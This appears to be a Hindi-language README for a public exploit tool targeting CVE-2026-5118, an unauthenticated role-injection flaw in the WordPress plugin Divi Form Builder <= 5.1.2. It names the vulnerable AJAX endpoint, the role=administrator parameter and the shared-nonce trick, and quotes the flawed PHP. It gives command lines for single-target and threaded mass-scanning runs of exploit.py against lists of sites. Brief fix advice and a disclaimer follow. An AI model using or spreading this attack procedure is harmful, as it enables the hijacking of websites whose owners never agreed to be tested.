CVE-2026-5118 — Divi Form Builder <= 5.1.2 — बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (Role Injection)

🔥 भेद्यता सारांश

वर्डप्रेस प्लगइन Divi Form Builder संस्करण <= 5.1.2 एक बिना प्रमाणीकरण के विशेषाधिकार वृद्धि भेद्यता के लिए संवेदनशील है। यह महत्वपूर्ण दोष बिना प्रमाणीकरण के हमलावरों को किसी भी Divi Form Builder फॉर्म के माध्यम से सीधे एक नया व्यवस्थापक खाता बनाने की अनुमति देता है — जिसमें संपर्क फॉर्म, कोट फॉर्म, न्यूज़लेटर फॉर्म, या कोई अन्य DFB-सक्षम फॉर्म शामिल हैं।

यह भेद्यता FormSubmissionHandler.php में create_user() फ़ंक्शन से उत्पन्न होती है, जो उचित प्राधिकरण या अनुमति सूची सत्यापन के बिना उपयोगकर्ता-प्रस्तुत POST डेटा से role पैरामीटर सीधे स्वीकार करता है। प्लगइन केवल यह जाँचता है कि प्रस्तुत भूमिका सिस्टम में मौजूद है या नहीं (जैसे, administrator एक मान्य WordPress भूमिका है) — यह कभी जाँच नहीं करता कि भूमिका सार्वजनिक पंजीकरण के लिए सुरक्षित है या नहीं।

सफल खोज: Divi Form Builder द्वारा उपयोग किया गया fb_nonce एक वैश्विक साझा nonce (wp_create_nonce('security')) है — साइट पर सभी फॉर्मों में समान। इसके अलावा, form_type=register को साझा AJAX हैंडलर पर POST के माध्यम से ओवरराइड किया जा सकता है। इसका मतलब है कि कोई भी DFB फॉर्म (संपर्क, कोट, फीडबैक, आदि) को मनमानी भूमिका असाइनमेंट के साथ उपयोगकर्ता पंजीकरण ट्रिगर करने के लिए हथियार बनाया जा सकता है।

🔍 प्रभावित प्लगइन

• प्लगइन नाम: Divi Form Builder
• प्रभावित संस्करण: <= 5.1.2
• भेद्यता प्रकार: बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (Role Injection)
• CVE ID: CVE-2026-5118
• CVSS स्कोर: 9.8 (गंभीर)
• CWE: CWE-266 — गलत विशेषाधिकार असाइनमेंट
• प्रभाव: पूर्ण साइट अधिग्रहण — व्यवस्थापक खाता निर्माण

🧨 हमलावर क्या कर सकते हैं

🧪 शोषण सुविधाएँ

• 🔓 कोई प्रमाणीकरण आवश्यक नहीं
• 📝 किसी भी DFB फॉर्म के माध्यम से काम करता है — संपर्क, कोट, न्यूज़लेटर, फीडबैक, आदि।
• 🎯 AJAX एंडपॉइंट को लक्षित करता है /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler
• 🧠 भूमिका इंजेक्शन — सामान्य फॉर्म फ़ील्ड के साथ role=administrator सबमिट करता है
• 🌐 सामूहिक स्कैनिंग समर्थन — थ्रेडेड मल्टी-टार्गेट स्कैनर ऑटो-डिस्कवरी के साथ
• 📄 परिणाम सहेजे गए result.txt में

🧠 संवेदनशील कोड

// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← "administrator" EXISTS, so this check PASSES
}

// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role);  // ← PRIVILEGE ESCALATION!

🚀 उपयोग

एकल लक्ष्य

python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]

सामूहिक स्कैन (सूची http/https के बिना)

Create targets.txt:

target1.com
target2.com:8080
192.168.1.50
subdomain.target.com

python3 exploit.py -l targets.txt -T 20

विकल्प

🛠 सुधार अनुशंसाएँ

// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Reject ALL dangerous roles
}

• फ्रंटएंड फॉर्म से role छिपे इनपुट को पूरी तरह हटाएं
• विशेषाधिकार प्राप्त भूमिकाओं के लिए current_user_can('create_users') क्षमता जाँच जोड़ें
• वैश्विक के बजाय प्रति-फॉर्म दायरे में सख्त nonce सत्यापन लागू करें
• पंजीकरण AJAX एंडपॉइंट पर दर सीमा जोड़ें

🧠 शोधकर्ता

• श्रेय: 0xd4rk5id3

📚 संदर्भ

• Wordfence Advisory
• Original CVE Repository

🔒 अस्वीकरण:

यह जानकारी केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम का अनधिकृत शोषण अवैध और अनैतिक है। किसी भी ऐसे लक्ष्य का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिसके आप मालिक नहीं हैं।